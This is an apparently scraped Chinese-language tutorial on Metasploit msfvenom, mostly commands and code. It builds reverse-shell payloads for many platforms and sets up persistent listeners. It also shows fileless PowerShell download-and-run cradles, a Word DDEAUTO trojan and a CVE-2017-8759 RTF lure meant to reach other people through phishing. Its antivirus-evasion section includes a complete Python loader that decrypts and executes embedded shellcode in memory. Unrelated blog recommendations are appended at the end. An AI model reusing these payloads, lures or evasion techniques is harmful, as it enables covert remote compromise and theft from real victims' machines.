Metasploit msfvenom
一、 msfvenom简介
msfvenom是msf payload和msf encode的结合体,于2015年6月8日取代了msf payload和msf encode。在此之后,metasploit-framework下面的msf payload(载荷生成器),msf encoder(编码器),msfcli(监听接口)都不在支持。
二、msf venom参数
-p, -payload <payload>指定需要使用的payload(攻击载荷)。也可以使用自定义的payload,几乎是支持全平台的
-l, -list [module_type] 列出指定模块的所有可用资源。模块类型包括:payloads,encoders,nops,all
-n,-nopsled <length>为payload预先指定一个NOP滑动长度
-f, -format <format>指定输出格式(使用--help-formats来获取msf支持的输出格式列表)
-e, -encoder[encoder]指定需要使用的encoder(编码器),如果即没有-e选择也没用-b选项,则输出raw payload-a, -arch <architecture> 指定payload的目标架构,例如x86|x64|x86_64-plaform <platform>指定payload的目标平台
-s, -space <length>设定有效攻击荷载的最大长度,就是文件大小
-b, -bad-chars <list>设定规避字符集,指定需要过滤的坏字符例如:不使用'x0f'、'\x00';-i, -iterations <count>指定payload的编码次数
-c, -add-code <path> 指定一个自定义的可执行文件为模板,并将payload嵌入其中
-k, -keep保护模板程序的动作,注入的payload作为一个新的进程运行
-payload-options列举payload的标准选项
-o, -out <path> 指定创建好的payload的存放位置
-v, -var-name <name>指定一个自定义的变量,以确定输出格式
-shellest 最小化生成payload
-h, -help查看帮助选项
-help-formats查看msf支持的输出格式列表
查看所有payload
root@kali:~/桌面# msfvenom --list payloads
查看所有编码器
root@kali:~/桌面# msfvenom --list encoders
# 评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器
查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用
root@kali:~/桌面# msfvenom -p windows/meterpreter/reverse_tcp --list-options
三、监听参数
防止假session
在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。
msf exploit(multi/handler) > set ExitOnSession false
//可以在接收到seesion后继续监听端口,保持侦听。
防止session意外退出
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
四、handler后台持续监听
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 192.168.8.124
set LPORT 1122
set ExitOnSession false
exploit -j -z msf exploit(multi/handler) > exploit -j -z
使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种比较快捷的建立监听的方式,在msf下直接执行:
msf5 > handler -H 192.168.244.128 -P 1122 -p windows/meterpreter/reverse_tcp
五、payload的可持续化
一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使用migrate进行。 其实在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
生成的shell程序执行后会启动两个进程shell.exe和svchost.exe,关闭其中一个不会影响会话状态。 在上面的生成payload参数中: (1)PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。 (2)使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。
把生成的shell.exe(此文件不免杀) 复制到windows 2003靶机中双击运行
六、各平台payload生成
6.1 Linux
(1)设置监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set lhost 192.168.244.128
lhost => 192.168.244.128
msf5 exploit(multi/handler) > set lport 1123
lport => 1123
msf5 exploit(multi/handler) > run
(2)生成Linux payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1123 -f elf > shell.elf
(3)执行shell.elf
root@kali:~# ls -larth shell.elf
-rw-r--r-- 1 root root 250 6月 13 20:47 shell.elf
root@kali:~# chmod +x shell.elf
root@kali:~# ./shell.elf
(4) 查看sessions
6.2 Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1122 -f exe > shell.exe
6.3 Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
6.4 Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1122 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1122 R > test.apk
七、生成脚本payload
7.1 powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.244.128 LPORT=1122 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
7.2 nc正向连接
msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.244.128 LPORT=1122 -f exe> 1.exe
7.3 nc反向连接,监听
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.244.128 LPORT=1122 -f exe> 1.exe
7.4 PHP
kali监听会话、把shell.php上传至目标网站访问就可以建立会话了
(1)建立监听
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.244.128
lhost => 192.168.244.128
msf5 exploit(multi/handler) > set lport 1124
lport => 1124
msf5 exploit(multi/handler) > run
(2)生成payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1124 -f raw > shell.php
(3)把shell.php上传至目标网站
(4)浏览器访问shell.php
(5)查看建立的session
7.5 ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
7.6 JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
7.7 WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
7.8 powershell配置msf无文件攻击
(1)生成ps脚本、把生成的脚本放到web站点下
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1125 -f psh-reflection >x.ps1
(2)设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.244.128
set lport 1125
run
(3)客户端运行
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.244.129/x.ps1')
(4)查看会话
7.9 powershell配置word伪装木马
监听、生成payload操作和7.8操作一致
(1)新建一个word文档——插入——文档部件——域
DDEAUTO C:\\windows\\system32\\cmd.exe "/k powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.244.129/x.ps1') "
(3)通过钓鱼、社工等方式让其他人打开此word文档
7.10 msf宏钓鱼
git clone https://github.com/bhdresh/CVE-2017-8759.git
cd CVE-2017-8759/
python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.244.128/logo.txt
# 生成如下图所示的文件
生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1133 -f exe > /root/shell.exe
python cve-2017-8759_toolkit.py -M exp -e http://192.168.244.128/shell.exe -l shell.exe
开启监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.244.128
lhost => 192.168.244.128
msf5 exploit(multi/handler) > set lport 1133
lport => 1133
msf5 exploit(multi/handler) > run
把Invoice.rtf 上传到Windows 7
八、ngrok穿透内网
unzip linux_amd64.zip
cd linux_amd64
./sunny clientid xxxxid
生成payload
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10929 -f exe > a.exe
开启监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf5 exploit(multi/handler) > set lport 10929
lport => 10929
msf5 exploit(multi/handler) > run
Windows 7执行木马
查看session
九、msf5-Evasion免杀模块
9.1 Defender免杀
msf5 > use windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > options
msf5 evasion(windows/windows_defender_exe) > set filename ev.exe
filename => ev.ext
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set lhost 192.168.244.128
lhost => 192.168.244.128
msf5 evasion(windows/windows_defender_exe) > set lport 1177
lport => 1177
msf5 evasion(windows/windows_defender_exe) > run
设置监听
handler -H 192.168.244.128 -P 1177 -p windows/meterpreter/reverse_tcp
目前已经不免杀
9.2 捆绑免杀
可以在此站检测木马 https://www.virustotal.com/gui/home/upload
生成payload 捆绑putty.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1122 -x putty.exe -f exe -o payload3.exe
捆绑编码免杀
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=1122 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe
多重编码免杀
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.244.128 LPORT=1122 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > shell.exe
十、shellter免杀
shellcode代码注入工具
https://www.shellterproject.com/download/
vim /etc/apt/sources.list
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
apt-get update
apt-get install shellter
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
启动shellter
root@kali:~# shellter
开启监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.244.128
lhost => 192.168.244.128
msf5 exploit(multi/handler) > set lport 1155
lport => 1155
msf5 exploit(multi/handler) > run
把putty.exe复制到window7中运行(运行最新版本的360)
查看建立的session
用360动态杀毒时(不免杀)
十一、免杀python脚本
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=1155 LHOST=192.168.244.128 -e x86/shikata_ga_nai -i 17 -f py -o /root/121.py
修改生成的py文件(头部和尾部添加、如下所示)
from ctypes import *
import ctypes
import sys, os, hashlib, time, base64 def rc4(string, op='encode', public_key='ddd', expirytime=0):
ckey_lenth = 4
public_key = public_key and public_key or ''
key = hashlib.md5(public_key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = ckey_lenth and (op == 'decode' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or ''
cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
key_lenth = len(cryptkey) # 64
string = op == 'decode' and base64.b64decode(string[4:]) or '0000000000' + hashlib.md5(string + keyb).hexdigest()[0:16] + string
string_lenth = len(string)
result = ''
box = list(range(256))
randkey = []
for i in xrange(255):
randkey.append(ord(cryptkey[i % key_lenth]))
for i in xrange(255):
j = 0
j = (j + box[i] + randkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
for i in xrange(string_lenth):
a = j = 0
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
if op == 'decode':
if (result[0:10] == '0000000000' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5(
result[26:] + keyb).hexdigest()[0:16]:
return result[26:]
else:
return None
else:
return keyc + base64.b64encode(result) buf = b""
buf += b"\xb8\x28\xce\x23\x6c\xdb\xca\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\xec\x31\x42\x14\x03\x42\x14\x83\xea\xfc\xca"
buf += b"\x3b\xf8\xa6\xb1\x1e\x60\x6e\x19\x47\xeb\xab\x55\x27"
buf += b"\x3d\x7d\x24\x3d\xbe\x92\xba\x8f\x9e\x7a\x41\xaf\x36"
buf += b"\x61\x6a\x0b\xa1\x03\xb3\x5f\xd3\x48\x35\x26\xa9\x11"
buf += b"\xa7\x32\x7d\x80\xe6\xd1\x66\x9a\x66\xc4\xce\x49\x58"
buf += b"\x57\x8b\x00\x8c\x91\xdf\xd7\xec\xe0\x5f\x72\x48\xc8"
buf += b"\xee\xaf\x99\x62\x57\xf0\x56\x40\x7e\xc2\xc2\x8e\x3b"
buf += b"\xbe\x0f\x7d\x5b\x82\xa3\xd8\x02\xcf\xf4\xf7\x15\x32"
buf += b"\xb8\xbc\x0a\x03\xb8\x34\x22\x2f\x21\x58\x83\x6b\x8f"
buf += b"\xa0\x32\xda\x92\x9a\x7a\x0b\xb8\x42\x82\x09\xe9\x32"
buf += b"\x94\x17\xcb\x5a\xea\x8e\xdb\xda\x9f\x86\x17\x6b\xc8"
buf += b"\x95\xf1\xbc\x1d\x1c\xbc\x57\x10\xad\x85\x4a\x35\x3f"
buf += b"\xf8\x01\xc0\xa4\x35\x5c\xd8\xb7\xf5\x2c\xfd\x2f\xd8"
buf += b"\x57\x21\xe3\x0d\x0c\x57\xa1\x0f\xcb\xfe\x18\x5a\x7f"
buf += b"\xa5\xa6\xc6\x2e\x61\xad\xc3\x4c\xb6\xa1\x03\x47\x83"
buf += b"\x03\xd2\x09\xff\x15\xd3\x38\x12\x40\x94\xdd\xae\x5a"
buf += b"\x32\x52\x6c\xa2\xa8\x18\xdd\xd9\x6b\x3e\x84\x15\x8f"
buf += b"\xe4\x85\x9e\x3d\xca\xee\xa7\xff\x44\x18\xf9\xcd\x80"
buf += b"\x9a\xc5\x0a\x25\xcc\xf1\xcd\x1f\xf6\xf4\x45\x16\xbc"
buf += b"\x8c\x96\xdc\x71\x9b\x35\xaf\xaf\xa0\xd3\x57\x0a\x2e"
buf += b"\xb1\x63\xa6\xfa\xa4\x11\xa1\x8d\x87\xc9\xeb\x0e\x85"
buf += b"\xa9\x6d\x9c\x4b\x60\xd0\xcb\xf6\x2b\xa9\xcf\x36\xef"
buf += b"\xa2\x5f\x98\xa1\x38\xfd\x86\x74\xab\xd2\x8b\x4b\xfd"
buf += b"\xd0\xd7\x7b\x64\x8b\x34\x3a\xad\x19\xce\xba\x88\x33"
buf += b"\x92\x59\xb4\xea\x80\x5a\x6f\x39\xbb\xe4\xa9\xba\xd4"
buf += b"\x3b\x74\xa0\xc0\x84\xc8\xb4\xf0\xcd\x2e\x30\x05\x96"
buf += b"\x87\xd3\x04\xf6\x69\x4b\xd0\x88\x00\x83\x4a\x3b\x1e"
buf += b"\x50\x68\x47\x9f\x12\x81\x84\x49\x18\x88\x78\x34\x28"
buf += b"\x13\x49\x37\xd0\xc2\x6f\x78\x88\xc5\x30\xbd\x92\x90"
buf += b"\x6d\x96\xa7\xbd\xec\xef\x91\x1c\x6b\xb5\xca\x24\x24"
buf += b"\x41\x2a\xce\x4f\x7f\x5e\x82\xc8\xbc\x8a\x1c\xd8\x0a"
buf += b"\xe3\xcf\xb6\x3e\x12\x72\x4e\x05\xd0\x40\x59\x82\x05"
buf += b"\x32\xbb\x1a\xe4\x0a\x62\x9a\xff\x89\xc6\xce\xaa\xeb"
buf += b"\x04\xae\x95\x65\x19\x3b\x79\x1e\xe7\xe7\x06\x8e\xa7"
buf += b"\xa2\x98\x6c\x6c\xb7\x01\x66\x13\x09\x60\x78\x39\x3f"
buf += b"\x49\x47\x7c\x55\xba\x57\xd2\x93\xb5\xcc\x6d\x23\xe2"
buf += b"\xd6\xcb\xd5\x13\x46\x60\x5b\xaf\x49\x7a\x00\xdc\x78"
buf += b"\x58\x6c\x46\x79\xd8\x3e\xdb\x3f\xd7\x3f\x08\xf2\x8b"
buf += b"\x2d\x22\x07\x03\x7d\x88\xfe\xc6\xef\xe4\x95\x4a\x56"
buf += b"\xa0\x81\xf5\x69\xca\x38\x00\x3f\xa0\x86\x9a\xca\xd8"
buf += b"\x5f\xe5\x38\x93\xb0\x1b\x81\x32\x15\xbc\xba\xc3\x9d"
buf += b"\xa7\x85\x9c\x5b\x93\x42\x63\xc2\xb6\x4b\x72\xb7\x7e"
buf += b"\xd8\xb9\x14\xe7\x5a\x34\x5a\xee\xa9\x8b\x3d\x13\x84"
buf += b"\x18\xf1\xb3\xda\x05\x27\x95\xb2\x7f\xda\x67\xf7\x68"
buf += b"\x47\x5c\x0a\xe6\x95\x0f\xbe\x39\xea\xe5\xf6\x09\x2a"
buf += b"\xe8\x0c\x93\xb0\xf3\x79\x03\xd5\x37\xf1\xcb\xae\x35"
buf += b"\x4c\xd9\x3a\xa7\x74\xf2\x49\xdb\x25\x30\x08\xc2\x26"
buf += b"\x72\x8b\x40\x30\xd9\x93\x5c\xee\xbd\xe1\xd1\x2d\x03"
buf += b"\x05\x16\x11\x74\x2d\xfe\x24\x84\x27\x0f\x8e\x0d\xd9"
buf += b"\x26\x63\x0c\x45\x86\xa3\x59\x9d\x3f\xbf\x53\x21\x67"
buf += b"\xbf\xad\x77\xb0\x38\xf2\x05\x6c\x51\xcd\xc7\xfd\x11"
buf += b"\xee\xd6\x07\x01\x82\xf5\x0c\xb9\xa8\x40\x0a\xb6\x17"
buf += b"\x41\xc9\xa1\x67\x5a\x7b\x21\x15\x3f\x5d\xe1\xe3\x61"
buf += b"\x22\xb5\xbb\xc9\x91\x8b\xd7\x62\x34\xf3\x56\x74\x15"
buf += b"\xae\xbf\xc3\xf3\x53\x0b\xb3\xef\xc1\x59\x95\x2b\x54"
buf += b"\x8c\x50\x90\xab\xc8\xa3\x1b\xaa\xda\xdd\xd6\x0e\xd6"
buf += b"\xbd\x6d\x7b\x76\x88\x04\x42\x50\xf0\x9a\xe1\x72\x79"
buf += b"\xdb\x8b\x3b\xb4\x6b\x8e\xd2\x58\xa4\x1b\x81\xad\x48"
buf += b"\x17\xaa\x9c\xe5\x1f\xc3\x10\xd8\x82\x42\x7a\xb0\x3b"
buf += b"\x29\xb7\xa9\xf1\xee\x40\x42\xcc\xa8\x8b\x84\xce\x7c"
buf += b"\xd7\x0d\x34\x08\xb6\xe5\xaf\x27\x84\x5c\x28\x15\xe1"
buf += b"\x46\x7c\xb0\xa8\x7a\xc3\x77\x12\x7a\xda\xb3\xc8\x5f"
buf += b"\x29\x08\x82\x05\xf9\xe4\xb3\xcd\xf6\x41\x5f\x55\x9b"
buf += b"\x9a\x5d\x6a\x69\x1b\x51\x0c\x77\xf5\xc1\x79\x1b\x1e"
buf += b"\xd8\xd3\x24\x41\xee\x4f\x1c\x5c\xef\x77\xf2\x68\x71"
buf += b"\x49\x51\xfc\x27\x5e\x55\x35\xdf\x4f\x9e\x8d\xe5\xf9"
buf += b"\x3e\x7d\xc7\x58\x99\xc0\xe2\xda\xe7\xad\x85\xf1\xb3"
buf += b"\x34\xc9\xc4\x48\x26\x4f\x9e\x66\xf1\xcb\x68\x82\xf7"
buf += b"\xe6\x96\x43\x9a\x0c\xe4\x0e\x36\x81\xde\x7d\xa9\x54"
buf += b"\xce\xa2\xf5\xfc\xcc\x89\x0d\x01\x5c\xf2\xbe\x99\xc2"
buf += b"\xe3\x68\x12\x3d\xb0\x76\xfe\xd6\x1c\xd1\x57\xa7\xa8"
buf += b"\xa2\xfc\x4a\x65\x75\xa2\xd1\xa4\xbe\xd9\x98\x03\x37"
buf += b"\xae\xaf\x82\x2a\x55\x57\xe9\x70\x9b\x3b\x07\x44\x6b"
buf += b"\x47\xb7\x42\x41\x10\x01\x25" buf=rc4(buf,'encode','6666666666666') # libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(rc4(buf, 'decode', '6666666666666'))
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 666 == 666:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)), 0x40, ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
121.py
安装pyinstaller 打包exe
pip install pywin32
pip install pyinstaller
打包exe并执行此exe文件
C:\Python27>pyinstaller -F 121.py
十二、venom秒杀payload
git clone https://github.com/r00t-3xp10it/venom
sudo ./setup.sh
sudo ./venom.sh
Metasploit msfvenom的更多相关文章
- metasploit、msfvenom生成木马入侵电脑及手机
简介 msfvenom msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and ...
- chapter1 渗透测试与metasploit
网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...
- 原创教程:《metasploit新手指南》介绍及下载
原创教程:<metasploit新手指南>介绍及下载 1.1 作者简介 这份教程并不是“玄魂工作室”原创,但是我还是要力推给大家.相比那些一连几年都在问“我怎么才能入门”的人而言,我们更欣 ...
- metasploit模块功能介绍
metasploit的模块构成及功能分析 转载自----http://forum.cnsec.org/thread-94704-1-1.html 今天我们介绍一下metasploit的基础架构和 市 ...
- Metasploit 笔记
目录一.名词解释···································································· 3二.msf基础··············· ...
- metasploit快速入门
今天没上班,在小黑屋里看了一个一百多页的书<metasploit新手指南>,在此将笔记分享给大家.欢迎大家批评指正,共同学习进步. metasploit新手指南 笔记 kali 0 ...
- metasploit生成payload的格式
转自https://www.cnblogs.com/zlgxzswjy/p/6881904.html Often one of the most useful (and to the beginner ...
- Metasploit Framework(8)后渗透测试(一)
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 使用场景: Kali机器IP:192.168.163. ...
- Metasploit Framework(6)客户端渗透(上)
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 前五篇文章讲解了Metasploit Framewor ...
随机推荐
- PicCompress —— 一款精简的图片压缩工具
PicCompress 说明 之前上传博客图片过大不方便加载,还有一些微信平台的图片无法上传有大小限制,于是就打算开发个压缩图片的工具 支持图片格式 PNG(.png) JPEG(.jpg, .jpe ...
- CuteBot智能小车
原因 近期,别人送了我一个CuteBot智能小车,拆开一看做工挺精致的,但是这东西是积木图形编程,显然不适合我这个年龄,所以打算给家里的小孩玩. 那么,你可能会问了,为什么要写这篇文章呢?答案当然是用 ...
- 一致性Hash的原理与实现
应用场景 在了解一致性Hash之前,我们先了解一下一致性Hash适用于什么场景,能解决什么问题?这里先放一下我自己认为适用的场景.一致性Hash适用于服务器动态扩展且需要负载均衡的场景 试想以下场景, ...
- 简单的js提示框,仅仅用jq和css就可以
首先定义一个盒子 1 .pop { 2 position: fixed; 3 top: 20%; 4 left: 50%; 5 transform: translate(-50%); 6 width: ...
- 人机验证reCAPTCHA v3使用完备说明
v2简介 相信大家都碰到过下面的展示的 人机验证界面: reCaptcha 是 Google 公司的验证码服务,方便快捷,改变了传统验证码需要输入n位失真字符的特点. reCaptcha 在使用的时候 ...
- 《手把手教你》系列基础篇(九十四)-java+ selenium自动化测试-框架设计基础-POM设计模式实现-下篇(详解教程)
1.简介 上一篇宏哥用PageFactory实现了POM,宏哥再介绍一下如果不用PageFactory如何实现POM. 2.项目实战 在这里宏哥以百度首页登录的例子,如果用POM实现,在测试脚本中实际 ...
- .NET Core 中的 Logging 简单实用 - 记录日志消息显示到控制台
.NET Core 支持适用于各种内置和第三方日志记录提供程序的日志记录 API. 本文介绍了如何将日志记录 API 与内置提供程序一起使用. 本文中所述的大多数代码示例都来自 .Net 5 应用. ...
- python操作MySQL、事务、SQL注入问题
python操作MySQL python中支持操作MySQl的模块很多 其中最常见就是'pymysql' # 属于第三方模块 pip3 install pymysql # 基本使用 import py ...
- Golang:手撸一个支持六种级别的日志库
Golang标准日志库提供的日志输出方法有Print.Fatal.Panic等,没有常见的Debug.Info.Error等日志级别,用起来不太顺手.这篇文章就来手撸一个自己的日志库,可以记录不同级别 ...
- Java泛型类型擦除问题
以前就了解过Java泛型的实现是不完整的,最近在做一些代码重构的时候遇到一些Java泛型类型擦除的问题,简单的来说,Java泛型中所指定的类型在编译时会将其去除,因此List 和 List 在编译成字 ...